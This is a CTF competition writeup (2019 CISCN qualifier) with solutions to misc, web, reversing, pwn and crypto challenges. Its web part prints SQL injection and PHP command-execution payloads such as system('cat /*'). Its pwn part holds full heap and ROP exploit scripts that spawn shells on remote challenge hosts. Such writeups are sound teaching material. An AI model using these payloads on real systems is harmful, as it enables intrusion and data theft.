ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup
zsx CTF 20488浏览 · 2019-04-23 01:59

ROIS CISCN线上初赛 Writeup

Misc

签到

根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。

saleae

使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag

24c

还是使用saleae logic打开,有2个channel,使用I2C协议分析

查询24c文档可以知道Setup Write 之后需要输入的一个字符, 是为写储存的首地址

分析每段的输入 如下

第一段中为 , ord(' ') = 32
第二段中为 0
第三段中为 \t, ord('\t') = 9

所以最终flag写的过程是

usbasp

4个channel,使用SPI协议分析,注意setting最后一条要修改,提取出一串ascii码,转码得到flag

Web

全宇宙最简单的SQL

盲注。

发现or||被过滤,采用^配合AND进行注入。发现SLEEPBENCHMARK被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:

admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#

后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:

username='^(select exp(~((select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin

很快注出密码是f1ag@1s-at_/fll1llag_h3r3,不过因为大小写不正确,要使用binary like。最终验证:

username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at\_/fll1llag\_h3r3' ))=25))*18446744073709551615)))#&password=1

登录进去后就是老梗题,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/

直接打即可。

JustSoSo

(但是没交上)

love_math

那么多数学函数,实际上唯一能用的只有进制转换类,即base_convertdechex,通过其能导出[0-9a-z]在内的字符。

经过一大堆失败的实验,如:

// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最后使用system(getallheaders(){9})

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

RefSpace

首先扫目录,扫出

  • /index.php
  • /robots.txt
  • /flag.txt
  • /backup.zip
  • /?route=app/index
  • /?route=app/Up10aD
  • /?route=app/flag

这个flag.txt看起来是加密过的,没啥用,先下载下来再说。从app/flag处,通过让参数为Array,可以得到报错信息,可以得到一个PHP文件/ctf/sdk.php

接着就是老梗LFI base64读源码,各种读。
http://e13d1dbeea094a64a4ad2b6677e8077947834b9a3b614242.changame.ichunqiu.com/?route=php://filter/read=convert.base64-encode/resource=app/index

读到/ctf/sdk.php,发现这是经过SourceGuardian加密的。作者给了个提示:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

...

3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。

出题人三令五申不要去解密这个文件,那应该就不需要解密这个文件。不管怎么说,本地反射先。

php > $a = new ReflectionClass('\interesting\FlagSDK');
php > var_dump($a->getMethods());
php shell code:1:
array(2) {
  [0] =>
  class ReflectionMethod#2 (2) {
    public $name =>
    string(7) "getHash"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
  [1] =>
  class ReflectionMethod#3 (2) {
    public $name =>
    string(6) "verify"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
}
php > var_dump($a->getProperties());
php shell code:1:
array(1) {
  [0] =>
  class ReflectionProperty#2 (2) {
    public $name =>
    string(8) "flagPath"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
}
php > $d = $a->getProperty('flagPath');
php > echo $d->getValue($b);
/var/www/html/flag.txt

可以看出这个类就两个函数,getHashverify,还有一个flagPath的属性,值是那个flag.txt。但不知道这个getHash的返回值究竟是啥,反射调用先

php > $b = new \interesting\FlagSDK();
php > $cc = $a->getMethod('getHash');
php > $cc->setAccessible(true);
php > echo $cc->invoke($b);
a356bc8d9d3e69beea3c15d40995f395425e7813

似乎是个固定值,服务器上通过phar传Shell也证明了这一点。But nobody cares,实践才是最重要的。让我们来手撕加密吧。(出题人内心OS:??????我不是都说别搞我加密了吗)

先去clone PHP源码,编译一下,再去SourceGuardian官网下载和我本地对应版本的PHP扩展,然后根据他的代码来模仿写一个:

接着让我们来魔改PHP内核,在zend_vm_init_call_frame处打log来得到函数调用信息:

然后执行代码,从这个函数调用,就可以看出getHash真的只是return 'a356bc8d9d3e69beea3c15d40995f395425e7813'而已,并没有别的用途。

我们现在知道,flag其实就藏在verify函数里了。我本来想给所有和比较有关的函数都打上标记,但根据题目提示,题目只用到了===。因此修改zend_is_identical的返回值,直接让他return 1.

然后把题目给的flag.txt丢到/var/www/html/flag.txt,就跑出来了。

另外,这个被加密的代码逻辑是

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        $a = base64_decode(file_get_contents($this->flagPath));
        return openssl_private_decrypt($a, "RSA_KEY");
    }
    return false;
}

很容易也就能把他的RSA密钥解出来,这个就没啥好说的了。专业SG11解密,比市场价便宜.jpg

Re

easyGo

下载了个golanghelper帮助IDA发现程序
动态跟踪后发现flag就在内存中

pwndbg> telescope 0xc0000181e0
00:0000│ rsi r12  0xc0000181e0 ◂— 0x3032397b67616c66 ('flag{920')
01:0008│          0xc0000181e8 ◂— 0x33332d6661643439 ('94daf-33')
02:0010│          0xc0000181f0 ◂— 0x2d653133342d3963 ('c9-431e-')
03:0018│          0xc0000181f8 ◂— 0x6662382d61353861 ('a85a-8bf')
04:0020│          0xc000018200 ◂— 'bd5df98ad}'
05:0028│          0xc000018208 ◂— 0x7d64 /* 'd}' */
06:0030│          0xc000018210 ◂— 0x0

bbvvmm

程序验证username和passwd
username用了sm4加密又base64,sm4密钥给了,逆着来就行了
passwd验证的代码太长,动态开调,后来发现就写在内存中

#https://github.com/yang3yen/pysm4
from pysm4 import decrypt
import base64
#a = "IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y"
#b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#crypto_text = "RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y="
#table = ''.maketrans(a, b)
#print(base64.b64decode(crypto_text.translate(table)))
m = 0xEF468DBAF985B2509C9E200CF3525AB6
key = 0xda98f1da312ab753a5703a0bfd290dd6
temp = hex(decrypt(m,key))[2:-1]
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
temp = a
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
print "name is " + a

username = "badrer12"
密码出现在内存中

00000000022D14F0  C0 25 2D 02 00 00 00 78  72 00 00 00 00 00 00 0A  ..-....xr.......
00000000022D1500  C0 25 2D 02 00 00 00 79  71 00 00 00 00 00 00 08  ..-....yq.......
00000000022D1510  C0 25 2D 02 00 00 00 7A  77 00 00 00 00 00 00 0D  ..-....zw.......
00000000022D1520  C0 25 2D 02 00 00 00 7B  65 00 00 00 00 00 00 1E  ..-....{e.......
00000000022D1530  C0 25 2D 02 00 00 00 7C  72 00 00 00 00 00 00 0E  ..-....|r.......
00000000022D1540  C0 25 2D 02 00 00 00 7D  71 00 00 00 00 00 00 0C  ..-....}q.......
00000000022D1550  1A 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

passwd="xyz{|}"

from pwn import *
p = remote("39.97.228.196","10001")
p.recvuntil("Username:")
p.sendline("badrer12")
p.recvuntil("Password:")
p.send("xyz{|}")
p.interactive()

Pwn

your_pwn

数组下标越界造成任意读和写(代码有点丑

from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
def main():
    gdb.attach(p)
    p.recvuntil("input your name \nname:")
    p.send("\x00")
    start_offset = 349
    program_base = 0
    #leak program_base
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset-i))
        p.recvuntil("now value(hex) ")
        temp = int(p.recvuntil("\n",drop=True)[-2:],16)
        print temp
        program_base = (program_base << 8) + temp
        print program_base
        p.recvuntil("input new value")
        p.sendline(str(temp))
    program_base -= 0xb11
    success("program_base : " + hex(program_base))

    #0x0000000000000d03 : pop rdi ; ret
    #puts(got[puts]) and return main
    start_offset = 344+0x8
    pop_rdi = program_base + 0xd03
    puts_addr = elf.symbols["puts"] + program_base
    puts_got = elf.got["puts"] + program_base
    main_addr = program_base + 0xa65
    for i in range(2):
        p.recvuntil("input index")
        p.sendline(str(344+i))
        p.recvuntil("input new value")
        p.sendline(str((pop_rdi&(0xff<<i*8))>>i*8))

    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_got&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_addr&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((main_addr&(0xff<<i*8))>>i*8))
    for i in range(15):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")

    #write ret value to one_gadget
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("yes")
    p.recvuntil("\n")
    puts_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
    success("puts : " + hex(puts_addr))
    p.recvuntil("input your name \nname:")
    p.send("\x00")
    libc_base = puts_addr - 0x6f690
    one_gadget = libc_base + 0x45216
    start_offset = 344
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((one_gadget&(0xff<<i*8))>>i*8))
    for i in range(35):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("no")
    p.interactive()
if __name__ == "__main__":
    main()

daily

free的时候没有检查index是否合法

from pwn import *

def show():
    p.sendafter(':', '1')

def add(size, cont):
    p.sendafter(':', '2')
    p.sendafter('daily:', str(size))
    p.sendafter('\n', cont)

def edit(idx, cont):
    p.sendafter(':', '3')
    p.sendafter(':', str(idx))
    p.sendafter('\n', cont)

def free(idx):
    p.sendafter(':', '4')
    p.sendafter(':', str(idx))

def leak():
    add(0x100, '0')
    add(0x100, '1')
    add(0x100, '2')
    add(0x100, '3')
    add(0x100, '4')
    free(3)
    free(1)
    free(4)
    free(2)
    free(0)
    add(0x100, '0'*8)
    add(0x210, '1'*8)
    add(0x100, '2'*8)
    show()
    p.recvuntil('1'*8)
    libc_base = u64(p.recvuntil('2 : '+'2'*8, drop=True).ljust(8, '\x00')) - 0x3c4b78
    heap = u64(p.recvuntil('=', drop=True).ljust(8, '\x00')) - 0x110
    free(0)
    free(1)
    free(2)
    return heap, libc_base

def exploit(host, port=58512):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
    gdb.attach(p, 'source ./gdb.script\n')
    heap, libc.address = leak()
    info('heap @ '+hex(heap))
    info('libc @ '+hex(libc.address))
    add(0x60, p64(0) + p64(heap+0x10))
    add(0x60, '/bin/sh\x00') #1
    add(0x7f, '2')
    free((heap+0x10-0x602060)/0x10)
    edit(0, p64(0x602078))
    add(0x60, '3') #0 
    add(0x60, p64(libc.sym['__free_hook'])) # point to address of #2 : 0x602088
    edit(2, p64(libc.sym['system']))
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

baby_pwn

通过爆破修改alarm@got最低位指向sysenter从而判断远程libc版本,再利用read()使得eax=sys_write即可泄露

from pwn import *
context.update(os='linux', arch='i386')

def exploit(host, port=33865):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu11_amd64.so'})
        gdb.attach(p, 'source ./gdb.script')
    ropchain = [
        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['alarm'], 1,

        elf.plt['read'], p_esi_edi_ebp_r,
        0, 0x0804A000, 0x100,
        p_ebx_r, 1,
        elf.plt['alarm'],

        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['setvbuf'], 0x10,

        elf.plt['setvbuf'], 0,
        elf.got['setvbuf']+4,
    ]
    p.send(('A'*40 + 'B'*4 + flat(ropchain)).ljust(0x100, '\x00'))
    p.send('\x2b')
    p.send('\x00'*4)
    p.recv(0xc)
    libc.address = u32(p.recv(4)) - libc.sym['read']
    info('libc.address @ '+hex(libc.address))
    p.send(p32(libc.sym['system']) + '/bin/sh\x00')
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')
    p_ebx_esi_edi_ebp_r = 0x080485d8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    p_esi_edi_ebp_r = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret
    p_ebx_r = 0x0804837d # pop ebx ; ret
    exploit(args['REMOTE'])

Double

数据为单向链表结构,在add()时通过添加两次相同数据,可以触发fastbin attack,将堆块分配至bss段,从而修改链表头指针,达到任意读写

from pwn import *

def add(data):
    p.sendlineafter('> ', '1')
    if len(data)<256:
        data += '\n'
    p.sendafter('data:\n', data)

def show(idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('index: ', str(idx))

def edit(idx, data):
    p.sendlineafter('> ', '3')
    p.sendlineafter('index: ', str(idx))
    if len(data)<256:
        data += '\n'
    p.send(data)

def free(idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('index: ', str(idx))

def exploit(host, port=40002):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
        gdb.attach(p, 'source ./gdb.script')
    add('A'*0x60) #0
    add('A'*0x60) #1
    free(1)
    edit(0, p64(0x4040b0-3))
    add('1'*0x60) #1
    add('\x00'*0x60) #0
    edit(0, '\x77'*3 + p64(elf.got['free']) + p64(0) + p64(0x4040b8) + p64(0x4040b8) + '/bin/sh\x00')
    show(0)
    libc.address = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - libc.sym['free']
    info('libc.address @ '+hex(libc.address))
    edit(0, p64(libc.sym['system']))
    add('/bin/sh')
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

bms

通过double free来检测远程libc版本>=2.26,pwnable.tw的heap_paradise原题,但是libc版本不同,利用思路相同,修改_IO_2_1_stdout_的头部造成泄露,再通过tcache attack来达到任意写

from pwn import *

def auth(p):
    p.sendlineafter('name:', 'admin')
    p.sendlineafter('word:', 'frame')

def __add__(p, name, size, desc):
    p.sendlineafter('>', '1')
    p.sendafter(':', name)
    p.sendafter(':', str(size))
    p.sendafter('description:', desc)

def __free__(p, idx):
    p.sendlineafter('>', '2')
    p.sendafter(':', str(idx))

def exploit(host, port=40001):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':libc_name})
        gdb.attach(p, 'source ./gdb.script')
    auth(p)
    add = lambda x,y,z: __add__(p, x, y, z)
    free = lambda x: __free__(p, x)
    add('0', 0x60, 'desc') #0
    free(0)
    free(0)
    add('1', 0x60, p64(0x602020)) #1
    add('2', 0x60, 'desc') #2
    add('3', 0x60, '\x20')
    add('4', 0x60, p64(0xfbad1800) + p64(0)*3 + '\x00')
    p.recv(24)
    libc.address = u64(p.recv(8)) - 0x3d73e0 # - 0x74d0
    info('libc.address @ '+hex(libc.address))
    add('5', 0x90, 'desc')
    free(5)
    free(5)
    add('6', 0x90, p64(libc.sym['__free_hook']))
    add('7', 0x90, '/bin/sh\x00')
    add('8', 0x90, p64(libc.sym['system']))
    free(7)
    p.interactive()

if __name__ == '__main__':
    # libc_name = './libc.so.6'
    libc_name = './libc6_2.26-0ubuntu2_amd64.so'
    libc = ELF(libc_name)
    exploit(args['REMOTE'])

Crypto

puzzles

from z3 import *
a1 = Real("a1")
a2 = Real("a2")
a3 = Real("a3")
a4 = Real("a4")
s = Solver()

s.add(13627*a1+26183*a2+35897*a3+48119*a4 == 347561292)
s.add(23027*a1+38459*a2+40351*a3+19961*a4 == 361760202)
s.add(36013*a1+45589*a2+17029*a3+27823*a4 == 397301762)
s.add(43189*a1+12269*a2+21587*a3+33721*a4 == 350830412)
print s.check()
m = s.model()
print(m)

part1
http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

part2高数在线微积分网站
part3&&part4
大物和三重积分


flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

part_des

题目给出了全部的round key 和 某一轮加密的结果
github 搜一个des的代码 把round key 赋入. 并且遍历某round 把加密结果替换

# -*- coding: utf-8 -*-
# S盒 的置换矩阵
S_MATRIX = [(14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
      0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
      4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
      15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13),
     (15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
      3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
      0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
      13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9),
     (10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
      13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
      13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
      1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12),
     (7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
      13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
      10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
      3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14),
     (2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
      14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
      4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
      11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3),
     (12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
      10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
      9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
      4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13),
     (4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
      13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
      1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
      6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12),
     (13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
      1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
      7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
      2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11)]
# P置换的置换矩阵
P_MATRIX = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
              2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
# IP置换的 置换矩阵
IP_MATRIX = [58, 50, 42, 34, 26, 18, 10, 2,
           60, 52, 44, 36, 28, 20, 12, 4,
           62, 54, 46, 38, 30, 22, 14, 6,
           64, 56, 48, 40, 32, 24, 16, 8,
           57, 49, 41, 33, 25, 17, 9, 1,
           59, 51, 43, 35, 27, 19, 11, 3,
           61, 53, 45, 37, 29, 21, 13, 5,
           63, 55, 47, 39, 31, 23, 15, 7]

# 压缩置换矩阵  从56位里选48位
COMPRESS_MATRIXS = [14, 17, 11, 24, 1, 5,
              3, 28, 15, 6, 21, 10,
              23, 19, 12, 4, 26, 8,
              16, 7, 27, 20, 13, 2,
              41, 52, 31, 37, 47, 55,
              30, 40, 51, 45, 33, 48,
              44, 49, 39, 56, 34, 53,
              46, 42, 50, 36, 29, 32]
# E扩展置换矩阵

E_MATRIX = [32, 1, 2, 3, 4, 5,
         4, 5, 6, 7, 8, 9,
         8, 9, 10, 11, 12, 13,
         12, 13, 14, 15, 16, 17,
         16, 17, 18, 19, 20, 21,
         20, 21, 22, 23, 24, 25,
         24, 25, 26, 27, 28, 29,
         28, 29, 30, 31, 32, 1]
# IP逆置换矩阵
IP_INVERSE_MATRIX = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
        38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
        36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
        34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]



# IP置换
def IP(Mingwen):
    #如果长度不是64 就退出
    assert len(Mingwen) == 64

    ret = ""
    #通过循环 进行IP置换
    for i in IP_MATRIX:
        ret = ret + Mingwen[i - 1]
    return ret


# 循环左移位数
def shift(str, shift_count):
    try:
        if len(str) > 28:
            raise NameError
    except TypeError:
        pass

    str = str[shift_count:] + str[0:shift_count]
    return str

#由密钥 得到子密钥

def createSubkey(key):
    # 如果key长度不是64 就退出
    assert len(key) == 64

    #DES的密钥由64位减至56位,每个字节的第8位作为奇偶校验位
    #把56位 变成 2个28位

    Llist = [57, 49, 41, 33, 25, 17, 9,
             1, 58, 50, 42, 34, 26, 18,
             10, 2, 59, 51, 43, 35, 27,
             19, 11, 3, 60, 52, 44, 36]
    Rlist = [63, 55, 47, 39, 31, 23, 15,
             7, 62, 54, 46, 38, 30, 22,
             14, 6, 61, 53, 45, 37, 29,
             21, 13, 5, 28, 20, 12, 4]

    # 初试生成 左右两组28位密钥
    L0 = ""
    R0 = ""

    for i in Llist:
        L0 += key[i - 1]
    for i in Rlist:
        R0 += key[i - 1]

    assert len(L0) == 28
    assert len(R0) == 28

    #轮函数生成 48位密钥

    #定义轮数
    Movetimes = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
    #定义返回的subKey
    retkey = []
    #开始轮置换
    for i in range(0, 16):
        #获取左半边 和 右半边  shift函数用来左移生成轮数
        L0 = shift(L0, Movetimes[i])
        R0 = shift(R0, Movetimes[i])
        #合并左右部分
        mergedKey = L0 + R0

        tempkey = ""
        # 压缩置换矩阵  从56位里选48位
        #选出48位子密钥
        for i in COMPRESS_MATRIXS:
            tempkey += mergedKey[i - 1]
        assert len(tempkey) == 48
        #加入生成子密钥
        retkey.append(tempkey)

    return retkey

# E扩展置换  把右边32位扩展为48位
def E_expend(Rn):

    retRn = ""
    for i in E_MATRIX:
        retRn += Rn[i - 1]
    assert len(retRn) == 48
    return retRn



# S盒替代运算
def S_sub(S_Input):
    #从第二位开始的子串  去掉0X
    S_Input = bin(S_Input)[2:]

    while len(S_Input) < 48:
        S_Input = "0" + S_Input

    index = 0
    retstr = ""

    for Slist in S_MATRIX:
        # 输入的高低两位做为行数row
        row = int(S_Input[index] + S_Input[index + 5], base=2)
        # 中间四位做为列数L
        col = int(S_Input[index + 1:index + 5], base=2)
        # 得到 result的 单个四位输出
        ret_single = bin(Slist[row * 16 + col])[2:]

        while len(ret_single) < 4:
            ret_single = "0" + ret_single

        # 合并单个输出
        retstr += ret_single
        # index + 6 进入下一个六位输入
        index += 6

    assert len(retstr) == 32

    return retstr


def P(Ln, S_sub_str, oldRn):
    # P 盒置换
    tmp = ""
    for i in P_MATRIX:
        tmp += S_sub_str[i - 1]
    # P盒置换的结果与最初的64位分组左半部分L0异或
    LnNew = int(tmp, base=2) ^ int(Ln, base=2)
    LnNew = bin(LnNew)[2:]
    while len(LnNew) < 32:
        LnNew = "0" + LnNew
    assert len(LnNew) == 32
    # 左、右半部分交换,接着开始另一轮
    (Ln, Rn) = (oldRn, LnNew)

    return (Ln, Rn)

def IP_inverse(L16, R16):
    tmp = L16 + R16
    retstr = ""
    for i in IP_INVERSE_MATRIX:
        retstr += tmp[i - 1]
    assert len(retstr) == 64
    return retstr


# DES 算法实现 flag是标志位 当为-1时, 是DES解密, flag默认为0
def DES (text, key, flag = "0", ii = -1):
    # 初始字段
    # IP置换
    InitKeyCode = IP(text)
    # 产生子密钥 集合
    subkeylist = createSubkey(key)
    subkeylist = ["111000001011111001100110000100000011001011010101", "111100001011011001110110111110000010000010010101", "111001001101011001110110001000110110001010001111", "111001101101001101110110001101100011000110000011", "101011101101001101110011101001100000000101100111", "101011110101001101111011010001101010101111000010", "101011110101001111011001011101001000010101011001", "000111110101101111011001010010111001010001001010", "001111110100100111011001010010001001011111101010", "000111110110100110011101000111001101110000101001", "000111110010110110011101010010100101110001110000", "010111110010110010101101100010011110100100111000", "110110111010110010101100101000010101111000010000", "110110001010111010101110110110010000001000110110", "111100001011111000101110100101010100101010001100", "111100001011111010100110000100010010111010000100", ]

    # 获得Ln 和 Rn
    Ln = InitKeyCode[0:32]
    Rn = InitKeyCode[32:]

    if (flag == "-1") :
        subkeylist = subkeylist[::-1]

    i = 0
    for subkey in subkeylist:
        while len(Rn) < 32:
            Rn = "0" + Rn
        while len(Ln) < 32:
            Ln = "0" + Ln

        # 对右边进行E-扩展
        Rn_expand = E_expend(Rn)
        # 压缩后的密钥与扩展分组异或以后得到48位的数据,将这个数据送入S盒
        S_Input = int(Rn_expand, base=2) ^ int(subkey, base=2)

        # 进行S盒替代
        S_sub_str = S_sub(S_Input)

        #P盒置换  并且
        #  左、右半部分交换,接着开始另一轮
        (Ln, Rn) = P(Ln, S_sub_str, Rn)
        if(i == ii):
            #Rn, Ln = '10010010110110010001010100100101', '00000001000110011110000100101011'
            Ln, Rn = '10010010110110010001010100100101', '00000001000110011110000100101011'
        i = i + 1
        #进行下一轮轮置换

    # 最后一轮之后  左、右两半部分并未进行交换
    # 而是两部分合并形成一个分组做为末置换的输入。
    # 所以要重新置换 一次

    (Ln, Rn) = (Rn, Ln)
    # 末置换得到密文
    re_text = IP_inverse(Ln, Rn)

    return re_text

if __name__ == "__main__":
    for i in range(16):
        key = "0001001000110100010101100111100010110001001000110100010101100111"
        Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"
        ciphertext = DES(Mingwen, key, ii= i)
        Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"

        #打印加密后的密文
        print( hex(int(ciphertext, base=2)))

        falseKey = "1001001011011001000101010010010100000001000110011110000100101011"

        decode_ciphertext = DES(ciphertext, key, "-1")
        #打印解密后的明文  看是否相同
        print(hex(int(decode_ciphertext, base=2)).upper())

把输出转化为字符. 发现 79307572394F6F64 可转为 y0ur9Ood

Asymmetric

爆破 p, r

from math import log2
target= 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
r = 4
left = 1
rbit = 1024
